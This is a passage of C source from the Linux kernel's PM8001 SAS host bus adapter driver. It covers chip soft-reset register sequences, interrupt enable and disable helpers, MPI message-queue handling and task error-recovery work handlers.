pm8001_printk("MBIC - NMI Enable VPE0 (IOP)= 0x%x\n", regVal));
pm8001_cw32(pm8001_ha, 2, MBIC_NMI_ENABLE_VPE0_IOP, 0x0);
/* map 0x70000 to BAR4(0x20), BAR2(win) */
if (-1 == pm8001_bar4_shift(pm8001_ha, MBIC_IOP_ADDR_BASE)) {
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("Shift Bar4 to 0x%x failed\n",
MBIC_IOP_ADDR_BASE));
return -1;
}
regVal = pm8001_cr32(pm8001_ha, 2, MBIC_NMI_ENABLE_VPE0_AAP1);
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("MBIC - NMI Enable VPE0 (AAP1)= 0x%x\n", regVal));
pm8001_cw32(pm8001_ha, 2, MBIC_NMI_ENABLE_VPE0_AAP1, 0x0);
regVal = pm8001_cr32(pm8001_ha, 1, PCIE_EVENT_INTERRUPT_ENABLE);
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("PCIE -Event Interrupt Enable = 0x%x\n", regVal));
pm8001_cw32(pm8001_ha, 1, PCIE_EVENT_INTERRUPT_ENABLE, 0x0);
regVal = pm8001_cr32(pm8001_ha, 1, PCIE_EVENT_INTERRUPT);
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("PCIE - Event Interrupt = 0x%x\n", regVal));
pm8001_cw32(pm8001_ha, 1, PCIE_EVENT_INTERRUPT, regVal);
regVal = pm8001_cr32(pm8001_ha, 1, PCIE_ERROR_INTERRUPT_ENABLE);
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("PCIE -Error Interrupt Enable = 0x%x\n", regVal));
pm8001_cw32(pm8001_ha, 1, PCIE_ERROR_INTERRUPT_ENABLE, 0x0);
regVal = pm8001_cr32(pm8001_ha, 1, PCIE_ERROR_INTERRUPT);
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("PCIE - Error Interrupt = 0x%x\n", regVal));
pm8001_cw32(pm8001_ha, 1, PCIE_ERROR_INTERRUPT, regVal);
/* read the scratch pad 1 register bit 2 */
regVal = pm8001_cr32(pm8001_ha, 0, MSGU_SCRATCH_PAD_1)
& SCRATCH_PAD1_RST;
toggleVal = regVal ^ SCRATCH_PAD1_RST;
/* set signature in host scratch pad0 register to tell SPC that the
host performs the soft reset */
pm8001_cw32(pm8001_ha, 0, MSGU_HOST_SCRATCH_PAD_0, signature);
/* read required registers for confirmming */
/* map 0x0700000 to BAR4(0x20), BAR2(win) */
if (-1 == pm8001_bar4_shift(pm8001_ha, GSM_ADDR_BASE)) {
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("Shift Bar4 to 0x%x failed\n",
GSM_ADDR_BASE));
return -1;
}
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("GSM 0x0(0x00007b88)-GSM Configuration and"
" Reset = 0x%x\n",
pm8001_cr32(pm8001_ha, 2, GSM_CONFIG_RESET)));
/* step 3: host read GSM Configuration and Reset register */
regVal = pm8001_cr32(pm8001_ha, 2, GSM_CONFIG_RESET);
/* Put those bits to low */
/* GSM XCBI offset = 0x70 0000
0x00 Bit 13 COM_SLV_SW_RSTB 1
0x00 Bit 12 QSSP_SW_RSTB 1
0x00 Bit 11 RAAE_SW_RSTB 1
0x00 Bit 9 RB_1_SW_RSTB 1
0x00 Bit 8 SM_SW_RSTB 1
*/
regVal &= ~(0x00003b00);
/* host write GSM Configuration and Reset register */
pm8001_cw32(pm8001_ha, 2, GSM_CONFIG_RESET, regVal);
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("GSM 0x0 (0x00007b88 ==> 0x00004088) - GSM "
"Configuration and Reset is set to = 0x%x\n",
pm8001_cr32(pm8001_ha, 2, GSM_CONFIG_RESET)));
/* step 4: */
/* disable GSM - Read Address Parity Check */
regVal1 = pm8001_cr32(pm8001_ha, 2, GSM_READ_ADDR_PARITY_CHECK);
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("GSM 0x700038 - Read Address Parity Check "
"Enable = 0x%x\n", regVal1));
pm8001_cw32(pm8001_ha, 2, GSM_READ_ADDR_PARITY_CHECK, 0x0);
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("GSM 0x700038 - Read Address Parity Check Enable"
"is set to = 0x%x\n",
pm8001_cr32(pm8001_ha, 2, GSM_READ_ADDR_PARITY_CHECK)));
/* disable GSM - Write Address Parity Check */
regVal2 = pm8001_cr32(pm8001_ha, 2, GSM_WRITE_ADDR_PARITY_CHECK);
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("GSM 0x700040 - Write Address Parity Check"
" Enable = 0x%x\n", regVal2));
pm8001_cw32(pm8001_ha, 2, GSM_WRITE_ADDR_PARITY_CHECK, 0x0);
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("GSM 0x700040 - Write Address Parity Check "
"Enable is set to = 0x%x\n",
pm8001_cr32(pm8001_ha, 2, GSM_WRITE_ADDR_PARITY_CHECK)));
/* disable GSM - Write Data Parity Check */
regVal3 = pm8001_cr32(pm8001_ha, 2, GSM_WRITE_DATA_PARITY_CHECK);
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("GSM 0x300048 - Write Data Parity Check"
" Enable = 0x%x\n", regVal3));
pm8001_cw32(pm8001_ha, 2, GSM_WRITE_DATA_PARITY_CHECK, 0x0);
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("GSM 0x300048 - Write Data Parity Check Enable"
"is set to = 0x%x\n",
pm8001_cr32(pm8001_ha, 2, GSM_WRITE_DATA_PARITY_CHECK)));
/* step 5: delay 10 usec */
udelay(10);
/* step 5-b: set GPIO-0 output control to tristate anyway */
if (-1 == pm8001_bar4_shift(pm8001_ha, GPIO_ADDR_BASE)) {
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("Shift Bar4 to 0x%x failed\n",
GPIO_ADDR_BASE));
return -1;
}
regVal = pm8001_cr32(pm8001_ha, 2, GPIO_GPIO_0_0UTPUT_CTL_OFFSET);
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("GPIO Output Control Register:"
" = 0x%x\n", regVal));
/* set GPIO-0 output control to tri-state */
regVal &= 0xFFFFFFFC;
pm8001_cw32(pm8001_ha, 2, GPIO_GPIO_0_0UTPUT_CTL_OFFSET, regVal);
/* Step 6: Reset the IOP and AAP1 */
/* map 0x00000 to BAR4(0x20), BAR2(win) */
if (-1 == pm8001_bar4_shift(pm8001_ha, SPC_TOP_LEVEL_ADDR_BASE)) {
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("SPC Shift Bar4 to 0x%x failed\n",
SPC_TOP_LEVEL_ADDR_BASE));
return -1;
}
regVal = pm8001_cr32(pm8001_ha, 2, SPC_REG_RESET);
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("Top Register before resetting IOP/AAP1"
":= 0x%x\n", regVal));
regVal &= ~(SPC_REG_RESET_PCS_IOP_SS | SPC_REG_RESET_PCS_AAP1_SS);
pm8001_cw32(pm8001_ha, 2, SPC_REG_RESET, regVal);
/* step 7: Reset the BDMA/OSSP */
regVal = pm8001_cr32(pm8001_ha, 2, SPC_REG_RESET);
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("Top Register before resetting BDMA/OSSP"
": = 0x%x\n", regVal));
regVal &= ~(SPC_REG_RESET_BDMA_CORE | SPC_REG_RESET_OSSP);
pm8001_cw32(pm8001_ha, 2, SPC_REG_RESET, regVal);
/* step 8: delay 10 usec */
udelay(10);
/* step 9: bring the BDMA and OSSP out of reset */
regVal = pm8001_cr32(pm8001_ha, 2, SPC_REG_RESET);
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("Top Register before bringing up BDMA/OSSP"
":= 0x%x\n", regVal));
regVal |= (SPC_REG_RESET_BDMA_CORE | SPC_REG_RESET_OSSP);
pm8001_cw32(pm8001_ha, 2, SPC_REG_RESET, regVal);
/* step 10: delay 10 usec */
udelay(10);
/* step 11: reads and sets the GSM Configuration and Reset Register */
/* map 0x0700000 to BAR4(0x20), BAR2(win) */
if (-1 == pm8001_bar4_shift(pm8001_ha, GSM_ADDR_BASE)) {
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("SPC Shift Bar4 to 0x%x failed\n",
GSM_ADDR_BASE));
return -1;
}
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("GSM 0x0 (0x00007b88)-GSM Configuration and "
"Reset = 0x%x\n", pm8001_cr32(pm8001_ha, 2, GSM_CONFIG_RESET)));
regVal = pm8001_cr32(pm8001_ha, 2, GSM_CONFIG_RESET);
/* Put those bits to high */
/* GSM XCBI offset = 0x70 0000
0x00 Bit 13 COM_SLV_SW_RSTB 1
0x00 Bit 12 QSSP_SW_RSTB 1
0x00 Bit 11 RAAE_SW_RSTB 1
0x00 Bit 9 RB_1_SW_RSTB 1
0x00 Bit 8 SM_SW_RSTB 1
*/
regVal |= (GSM_CONFIG_RESET_VALUE);
pm8001_cw32(pm8001_ha, 2, GSM_CONFIG_RESET, regVal);
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("GSM (0x00004088 ==> 0x00007b88) - GSM"
" Configuration and Reset is set to = 0x%x\n",
pm8001_cr32(pm8001_ha, 2, GSM_CONFIG_RESET)));
/* step 12: Restore GSM - Read Address Parity Check */
regVal = pm8001_cr32(pm8001_ha, 2, GSM_READ_ADDR_PARITY_CHECK);
/* just for debugging */
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("GSM 0x700038 - Read Address Parity Check Enable"
" = 0x%x\n", regVal));
pm8001_cw32(pm8001_ha, 2, GSM_READ_ADDR_PARITY_CHECK, regVal1);
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("GSM 0x700038 - Read Address Parity"
" Check Enable is set to = 0x%x\n",
pm8001_cr32(pm8001_ha, 2, GSM_READ_ADDR_PARITY_CHECK)));
/* Restore GSM - Write Address Parity Check */
regVal = pm8001_cr32(pm8001_ha, 2, GSM_WRITE_ADDR_PARITY_CHECK);
pm8001_cw32(pm8001_ha, 2, GSM_WRITE_ADDR_PARITY_CHECK, regVal2);
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("GSM 0x700040 - Write Address Parity Check"
" Enable is set to = 0x%x\n",
pm8001_cr32(pm8001_ha, 2, GSM_WRITE_ADDR_PARITY_CHECK)));
/* Restore GSM - Write Data Parity Check */
regVal = pm8001_cr32(pm8001_ha, 2, GSM_WRITE_DATA_PARITY_CHECK);
pm8001_cw32(pm8001_ha, 2, GSM_WRITE_DATA_PARITY_CHECK, regVal3);
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("GSM 0x700048 - Write Data Parity Check Enable"
"is set to = 0x%x\n",
pm8001_cr32(pm8001_ha, 2, GSM_WRITE_DATA_PARITY_CHECK)));
/* step 13: bring the IOP and AAP1 out of reset */
/* map 0x00000 to BAR4(0x20), BAR2(win) */
if (-1 == pm8001_bar4_shift(pm8001_ha, SPC_TOP_LEVEL_ADDR_BASE)) {
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("Shift Bar4 to 0x%x failed\n",
SPC_TOP_LEVEL_ADDR_BASE));
return -1;
}
regVal = pm8001_cr32(pm8001_ha, 2, SPC_REG_RESET);
regVal |= (SPC_REG_RESET_PCS_IOP_SS | SPC_REG_RESET_PCS_AAP1_SS);
pm8001_cw32(pm8001_ha, 2, SPC_REG_RESET, regVal);
/* step 14: delay 10 usec - Normal Mode */
udelay(10);
/* check Soft Reset Normal mode or Soft Reset HDA mode */
if (signature == SPC_SOFT_RESET_SIGNATURE) {
/* step 15 (Normal Mode): wait until scratch pad1 register
bit 2 toggled */
max_wait_count = 2 * 1000 * 1000;/* 2 sec */
do {
udelay(1);
regVal = pm8001_cr32(pm8001_ha, 0, MSGU_SCRATCH_PAD_1) &
SCRATCH_PAD1_RST;
} while ((regVal != toggleVal) && (--max_wait_count));
if (!max_wait_count) {
regVal = pm8001_cr32(pm8001_ha, 0,
MSGU_SCRATCH_PAD_1);
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("TIMEOUT : ToggleVal 0x%x,"
"MSGU_SCRATCH_PAD1 = 0x%x\n",
toggleVal, regVal));
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("SCRATCH_PAD0 value = 0x%x\n",
pm8001_cr32(pm8001_ha, 0,
MSGU_SCRATCH_PAD_0)));
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("SCRATCH_PAD2 value = 0x%x\n",
pm8001_cr32(pm8001_ha, 0,
MSGU_SCRATCH_PAD_2)));
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("SCRATCH_PAD3 value = 0x%x\n",
pm8001_cr32(pm8001_ha, 0,
MSGU_SCRATCH_PAD_3)));
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
return -1;
}
/* step 16 (Normal) - Clear ODMR and ODCR */
pm8001_cw32(pm8001_ha, 0, MSGU_ODCR, ODCR_CLEAR_ALL);
pm8001_cw32(pm8001_ha, 0, MSGU_ODMR, ODMR_CLEAR_ALL);
/* step 17 (Normal Mode): wait for the FW and IOP to get
ready - 1 sec timeout */
/* Wait for the SPC Configuration Table to be ready */
if (check_fw_ready(pm8001_ha) == -1) {
regVal = pm8001_cr32(pm8001_ha, 0, MSGU_SCRATCH_PAD_1);
/* return error if MPI Configuration Table not ready */
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("FW not ready SCRATCH_PAD1"
" = 0x%x\n", regVal));
regVal = pm8001_cr32(pm8001_ha, 0, MSGU_SCRATCH_PAD_2);
/* return error if MPI Configuration Table not ready */
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("FW not ready SCRATCH_PAD2"
" = 0x%x\n", regVal));
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("SCRATCH_PAD0 value = 0x%x\n",
pm8001_cr32(pm8001_ha, 0,
MSGU_SCRATCH_PAD_0)));
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("SCRATCH_PAD3 value = 0x%x\n",
pm8001_cr32(pm8001_ha, 0,
MSGU_SCRATCH_PAD_3)));
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
return -1;
}
}
pm8001_bar4_shift(pm8001_ha, 0);
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("SPC soft reset Complete\n"));
return 0;
}
static void pm8001_hw_chip_rst(struct pm8001_hba_info *pm8001_ha)
{
u32 i;
u32 regVal;
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("chip reset start\n"));
/* do SPC chip reset. */
regVal = pm8001_cr32(pm8001_ha, 1, SPC_REG_RESET);
regVal &= ~(SPC_REG_RESET_DEVICE);
pm8001_cw32(pm8001_ha, 1, SPC_REG_RESET, regVal);
/* delay 10 usec */
udelay(10);
/* bring chip reset out of reset */
regVal = pm8001_cr32(pm8001_ha, 1, SPC_REG_RESET);
regVal |= SPC_REG_RESET_DEVICE;
pm8001_cw32(pm8001_ha, 1, SPC_REG_RESET, regVal);
/* delay 10 usec */
udelay(10);
/* wait for 20 msec until the firmware gets reloaded */
i = 20;
do {
mdelay(1);
} while ((--i) != 0);
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("chip reset finished\n"));
}
/**
* pm8001_chip_iounmap - which maped when initialized.
* @pm8001_ha: our hba card information
*/
void pm8001_chip_iounmap(struct pm8001_hba_info *pm8001_ha)
{
s8 bar, logical = 0;
for (bar = 0; bar < 6; bar++) {
/*
** logical BARs for SPC:
** bar 0 and 1 - logical BAR0
** bar 2 and 3 - logical BAR1
** bar4 - logical BAR2
** bar5 - logical BAR3
** Skip the appropriate assignments:
*/
if ((bar == 1) || (bar == 3))
continue;
if (pm8001_ha->io_mem[logical].memvirtaddr) {
iounmap(pm8001_ha->io_mem[logical].memvirtaddr);
logical++;
}
}
}
/**
* pm8001_chip_interrupt_enable - enable PM8001 chip interrupt
* @pm8001_ha: our hba card information
*/
static void
pm8001_chip_intx_interrupt_enable(struct pm8001_hba_info *pm8001_ha)
{
pm8001_cw32(pm8001_ha, 0, MSGU_ODMR, ODMR_CLEAR_ALL);
pm8001_cw32(pm8001_ha, 0, MSGU_ODCR, ODCR_CLEAR_ALL);
}
/**
* pm8001_chip_intx_interrupt_disable- disable PM8001 chip interrupt
* @pm8001_ha: our hba card information
*/
static void
pm8001_chip_intx_interrupt_disable(struct pm8001_hba_info *pm8001_ha)
{
pm8001_cw32(pm8001_ha, 0, MSGU_ODMR, ODMR_MASK_ALL);
}
/**
* pm8001_chip_msix_interrupt_enable - enable PM8001 chip interrupt
* @pm8001_ha: our hba card information
*/
static void
pm8001_chip_msix_interrupt_enable(struct pm8001_hba_info *pm8001_ha,
u32 int_vec_idx)
{
u32 msi_index;
u32 value;
msi_index = int_vec_idx * MSIX_TABLE_ELEMENT_SIZE;
msi_index += MSIX_TABLE_BASE;
pm8001_cw32(pm8001_ha, 0, msi_index, MSIX_INTERRUPT_ENABLE);
value = (1 << int_vec_idx);
pm8001_cw32(pm8001_ha, 0, MSGU_ODCR, value);
}
/**
* pm8001_chip_msix_interrupt_disable - disable PM8001 chip interrupt
* @pm8001_ha: our hba card information
*/
static void
pm8001_chip_msix_interrupt_disable(struct pm8001_hba_info *pm8001_ha,
u32 int_vec_idx)
{
u32 msi_index;
msi_index = int_vec_idx * MSIX_TABLE_ELEMENT_SIZE;
msi_index += MSIX_TABLE_BASE;
pm8001_cw32(pm8001_ha, 0, msi_index, MSIX_INTERRUPT_DISABLE);
}
/**
* pm8001_chip_interrupt_enable - enable PM8001 chip interrupt
* @pm8001_ha: our hba card information
*/
static void
pm8001_chip_interrupt_enable(struct pm8001_hba_info *pm8001_ha, u8 vec)
{
#ifdef PM8001_USE_MSIX
pm8001_chip_msix_interrupt_enable(pm8001_ha, 0);
return;
#endif
pm8001_chip_intx_interrupt_enable(pm8001_ha);
}
/**
* pm8001_chip_intx_interrupt_disable- disable PM8001 chip interrupt
* @pm8001_ha: our hba card information
*/
static void
pm8001_chip_interrupt_disable(struct pm8001_hba_info *pm8001_ha, u8 vec)
{
#ifdef PM8001_USE_MSIX
pm8001_chip_msix_interrupt_disable(pm8001_ha, 0);
return;
#endif
pm8001_chip_intx_interrupt_disable(pm8001_ha);
}
/**
* pm8001_mpi_msg_free_get - get the free message buffer for transfer
* inbound queue.
* @circularQ: the inbound queue we want to transfer to HBA.
* @messageSize: the message size of this transfer, normally it is 64 bytes
* @messagePtr: the pointer to message.
*/
int pm8001_mpi_msg_free_get(struct inbound_queue_table *circularQ,
u16 messageSize, void **messagePtr)
{
u32 offset, consumer_index;
struct mpi_msg_hdr *msgHeader;
u8 bcCount = 1; /* only support single buffer */
/* Checks is the requested message size can be allocated in this queue*/
if (messageSize > IOMB_SIZE_SPCV) {
*messagePtr = NULL;
return -1;
}
/* Stores the new consumer index */
consumer_index = pm8001_read_32(circularQ->ci_virt);
circularQ->consumer_index = cpu_to_le32(consumer_index);
if (((circularQ->producer_idx + bcCount) % PM8001_MPI_QUEUE) ==
le32_to_cpu(circularQ->consumer_index)) {
*messagePtr = NULL;
return -1;
}
/* get memory IOMB buffer address */
offset = circularQ->producer_idx * messageSize;
/* increment to next bcCount element */
circularQ->producer_idx = (circularQ->producer_idx + bcCount)
% PM8001_MPI_QUEUE;
/* Adds that distance to the base of the region virtual address plus
the message header size*/
msgHeader = (struct mpi_msg_hdr *)(circularQ->base_virt + offset);
*messagePtr = ((void *)msgHeader) + sizeof(struct mpi_msg_hdr);
return 0;
}
/**
* pm8001_mpi_build_cmd- build the message queue for transfer, update the PI to
* FW to tell the fw to get this message from IOMB.
* @pm8001_ha: our hba card information
* @circularQ: the inbound queue we want to transfer to HBA.
* @opCode: the operation code represents commands which LLDD and fw recognized.
* @payload: the command payload of each operation command.
*/
int pm8001_mpi_build_cmd(struct pm8001_hba_info *pm8001_ha,
struct inbound_queue_table *circularQ,
u32 opCode, void *payload, u32 responseQueue)
{
u32 Header = 0, hpriority = 0, bc = 1, category = 0x02;
void *pMessage;
if (pm8001_mpi_msg_free_get(circularQ, pm8001_ha->iomb_size,
&pMessage) < 0) {
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("No free mpi buffer\n"));
return -ENOMEM;
}
BUG_ON(!payload);
/*Copy to the payload*/
memcpy(pMessage, payload, (pm8001_ha->iomb_size -
sizeof(struct mpi_msg_hdr)));
/*Build the header*/
Header = ((1 << 31) | (hpriority << 30) | ((bc & 0x1f) << 24)
| ((responseQueue & 0x3F) << 16)
| ((category & 0xF) << 12) | (opCode & 0xFFF));
pm8001_write_32((pMessage - 4), 0, cpu_to_le32(Header));
/*Update the PI to the firmware*/
pm8001_cw32(pm8001_ha, circularQ->pi_pci_bar,
circularQ->pi_offset, circularQ->producer_idx);
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("INB Q %x OPCODE:%x , UPDATED PI=%d CI=%d\n",
responseQueue, opCode, circularQ->producer_idx,
circularQ->consumer_index));
return 0;
}
u32 pm8001_mpi_msg_free_set(struct pm8001_hba_info *pm8001_ha, void *pMsg,
struct outbound_queue_table *circularQ, u8 bc)
{
u32 producer_index;
struct mpi_msg_hdr *msgHeader;
struct mpi_msg_hdr *pOutBoundMsgHeader;
msgHeader = (struct mpi_msg_hdr *)(pMsg - sizeof(struct mpi_msg_hdr));
pOutBoundMsgHeader = (struct mpi_msg_hdr *)(circularQ->base_virt +
circularQ->consumer_idx * pm8001_ha->iomb_size);
if (pOutBoundMsgHeader != msgHeader) {
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("consumer_idx = %d msgHeader = %p\n",
circularQ->consumer_idx, msgHeader));
/* Update the producer index from SPC */
producer_index = pm8001_read_32(circularQ->pi_virt);
circularQ->producer_index = cpu_to_le32(producer_index);
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("consumer_idx = %d producer_index = %d"
"msgHeader = %p\n", circularQ->consumer_idx,
circularQ->producer_index, msgHeader));
return 0;
}
/* free the circular queue buffer elements associated with the message*/
circularQ->consumer_idx = (circularQ->consumer_idx + bc)
% PM8001_MPI_QUEUE;
/* update the CI of outbound queue */
pm8001_cw32(pm8001_ha, circularQ->ci_pci_bar, circularQ->ci_offset,
circularQ->consumer_idx);
/* Update the producer index from SPC*/
producer_index = pm8001_read_32(circularQ->pi_virt);
circularQ->producer_index = cpu_to_le32(producer_index);
PM8001_IO_DBG(pm8001_ha,
pm8001_printk(" CI=%d PI=%d\n", circularQ->consumer_idx,
circularQ->producer_index));
return 0;
}
/**
* pm8001_mpi_msg_consume- get the MPI message from outbound queue
* message table.
* @pm8001_ha: our hba card information
* @circularQ: the outbound queue table.
* @messagePtr1: the message contents of this outbound message.
* @pBC: the message size.
*/
u32 pm8001_mpi_msg_consume(struct pm8001_hba_info *pm8001_ha,
struct outbound_queue_table *circularQ,
void **messagePtr1, u8 *pBC)
{
struct mpi_msg_hdr *msgHeader;
__le32 msgHeader_tmp;
u32 header_tmp;
do {
/* If there are not-yet-delivered messages ... */
if (le32_to_cpu(circularQ->producer_index)
!= circularQ->consumer_idx) {
/*Get the pointer to the circular queue buffer element*/
msgHeader = (struct mpi_msg_hdr *)
(circularQ->base_virt +
circularQ->consumer_idx * pm8001_ha->iomb_size);
/* read header */
header_tmp = pm8001_read_32(msgHeader);
msgHeader_tmp = cpu_to_le32(header_tmp);
if (0 != (le32_to_cpu(msgHeader_tmp) & 0x80000000)) {
if (OPC_OUB_SKIP_ENTRY !=
(le32_to_cpu(msgHeader_tmp) & 0xfff)) {
*messagePtr1 =
((u8 *)msgHeader) +
sizeof(struct mpi_msg_hdr);
*pBC = (u8)((le32_to_cpu(msgHeader_tmp)
>> 24) & 0x1f);
PM8001_IO_DBG(pm8001_ha,
pm8001_printk(": CI=%d PI=%d "
"msgHeader=%x\n",
circularQ->consumer_idx,
circularQ->producer_index,
msgHeader_tmp));
return MPI_IO_STATUS_SUCCESS;
} else {
circularQ->consumer_idx =
(circularQ->consumer_idx +
((le32_to_cpu(msgHeader_tmp)
>> 24) & 0x1f))
% PM8001_MPI_QUEUE;
msgHeader_tmp = 0;
pm8001_write_32(msgHeader, 0, 0);
/* update the CI of outbound queue */
pm8001_cw32(pm8001_ha,
circularQ->ci_pci_bar,
circularQ->ci_offset,
circularQ->consumer_idx);
}
} else {
circularQ->consumer_idx =
(circularQ->consumer_idx +
((le32_to_cpu(msgHeader_tmp) >> 24) &
0x1f)) % PM8001_MPI_QUEUE;
msgHeader_tmp = 0;
pm8001_write_32(msgHeader, 0, 0);
/* update the CI of outbound queue */
pm8001_cw32(pm8001_ha, circularQ->ci_pci_bar,
circularQ->ci_offset,
circularQ->consumer_idx);
return MPI_IO_STATUS_FAIL;
}
} else {
u32 producer_index;
void *pi_virt = circularQ->pi_virt;
/* Update the producer index from SPC */
producer_index = pm8001_read_32(pi_virt);
circularQ->producer_index = cpu_to_le32(producer_index);
}
} while (le32_to_cpu(circularQ->producer_index) !=
circularQ->consumer_idx);
/* while we don't have any more not-yet-delivered message */
/* report empty */
return MPI_IO_STATUS_BUSY;
}
void pm8001_work_fn(struct work_struct *work)
{
struct pm8001_work *pw = container_of(work, struct pm8001_work, work);
struct pm8001_device *pm8001_dev;
struct domain_device *dev;
/*
* So far, all users of this stash an associated structure here.
* If we get here, and this pointer is null, then the action
* was cancelled. This nullification happens when the device
* goes away.
*/
pm8001_dev = pw->data; /* Most stash device structure */
if ((pm8001_dev == NULL)
|| ((pw->handler != IO_XFER_ERROR_BREAK)
&& (pm8001_dev->dev_type == SAS_PHY_UNUSED))) {
kfree(pw);
return;
}
switch (pw->handler) {
case IO_XFER_ERROR_BREAK:
{ /* This one stashes the sas_task instead */
struct sas_task *t = (struct sas_task *)pm8001_dev;
u32 tag;
struct pm8001_ccb_info *ccb;
struct pm8001_hba_info *pm8001_ha = pw->pm8001_ha;
unsigned long flags, flags1;
struct task_status_struct *ts;
int i;
if (pm8001_query_task(t) == TMF_RESP_FUNC_SUCC)
break; /* Task still on lu */
spin_lock_irqsave(&pm8001_ha->lock, flags);
spin_lock_irqsave(&t->task_state_lock, flags1);
if (unlikely((t->task_state_flags & SAS_TASK_STATE_DONE))) {
spin_unlock_irqrestore(&t->task_state_lock, flags1);
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
break; /* Task got completed by another */
}
spin_unlock_irqrestore(&t->task_state_lock, flags1);
/* Search for a possible ccb that matches the task */
for (i = 0; ccb = NULL, i < PM8001_MAX_CCB; i++) {
ccb = &pm8001_ha->ccb_info[i];
tag = ccb->ccb_tag;
if ((tag != 0xFFFFFFFF) && (ccb->task == t))
break;
}
if (!ccb) {
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
break; /* Task got freed by another */
}
ts = &t->task_status;
ts->resp = SAS_TASK_COMPLETE;
/* Force the midlayer to retry */
ts->stat = SAS_QUEUE_FULL;
pm8001_dev = ccb->device;
if (pm8001_dev)
pm8001_dev->running_req--;
spin_lock_irqsave(&t->task_state_lock, flags1);
t->task_state_flags &= ~SAS_TASK_STATE_PENDING;
t->task_state_flags &= ~SAS_TASK_AT_INITIATOR;
t->task_state_flags |= SAS_TASK_STATE_DONE;
if (unlikely((t->task_state_flags & SAS_TASK_STATE_ABORTED))) {
spin_unlock_irqrestore(&t->task_state_lock, flags1);
PM8001_FAIL_DBG(pm8001_ha, pm8001_printk("task 0x%p"
" done with event 0x%x resp 0x%x stat 0x%x but"
" aborted by upper layer!\n",
t, pw->handler, ts->resp, ts->stat));
pm8001_ccb_task_free(pm8001_ha, t, ccb, tag);
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
} else {
spin_unlock_irqrestore(&t->task_state_lock, flags1);
pm8001_ccb_task_free(pm8001_ha, t, ccb, tag);
mb();/* in order to force CPU ordering */
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
t->task_done(t);
}
} break;
case IO_XFER_OPEN_RETRY_TIMEOUT:
{ /* This one stashes the sas_task instead */
struct sas_task *t = (struct sas_task *)pm8001_dev;
u32 tag;
struct pm8001_ccb_info *ccb;
struct pm8001_hba_info *pm8001_ha = pw->pm8001_ha;
unsigned long flags, flags1;
int i, ret = 0;
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_OPEN_RETRY_TIMEOUT\n"));
ret = pm8001_query_task(t);
PM8001_IO_DBG(pm8001_ha,
switch (ret) {
case TMF_RESP_FUNC_SUCC:
pm8001_printk("...Task on lu\n");
break;
case TMF_RESP_FUNC_COMPLETE:
pm8001_printk("...Task NOT on lu\n");
break;
default:
pm8001_printk("...query task failed!!!\n");
break;
});
spin_lock_irqsave(&pm8001_ha->lock, flags);
spin_lock_irqsave(&t->task_state_lock, flags1);
if (unlikely((t->task_state_flags & SAS_TASK_STATE_DONE))) {
spin_unlock_irqrestore(&t->task_state_lock, flags1);
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
if (ret == TMF_RESP_FUNC_SUCC) /* task on lu */
(void)pm8001_abort_task(t);
break; /* Task got completed by another */
}
spin_unlock_irqrestore(&t->task_state_lock, flags1);
/* Search for a possible ccb that matches the task */
for (i = 0; ccb = NULL, i < PM8001_MAX_CCB; i++) {
ccb = &pm8001_ha->ccb_info[i];
tag = ccb->ccb_tag;
if ((tag != 0xFFFFFFFF) && (ccb->task == t))
break;
}
if (!ccb) {
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
if (ret == TMF_RESP_FUNC_SUCC) /* task on lu */
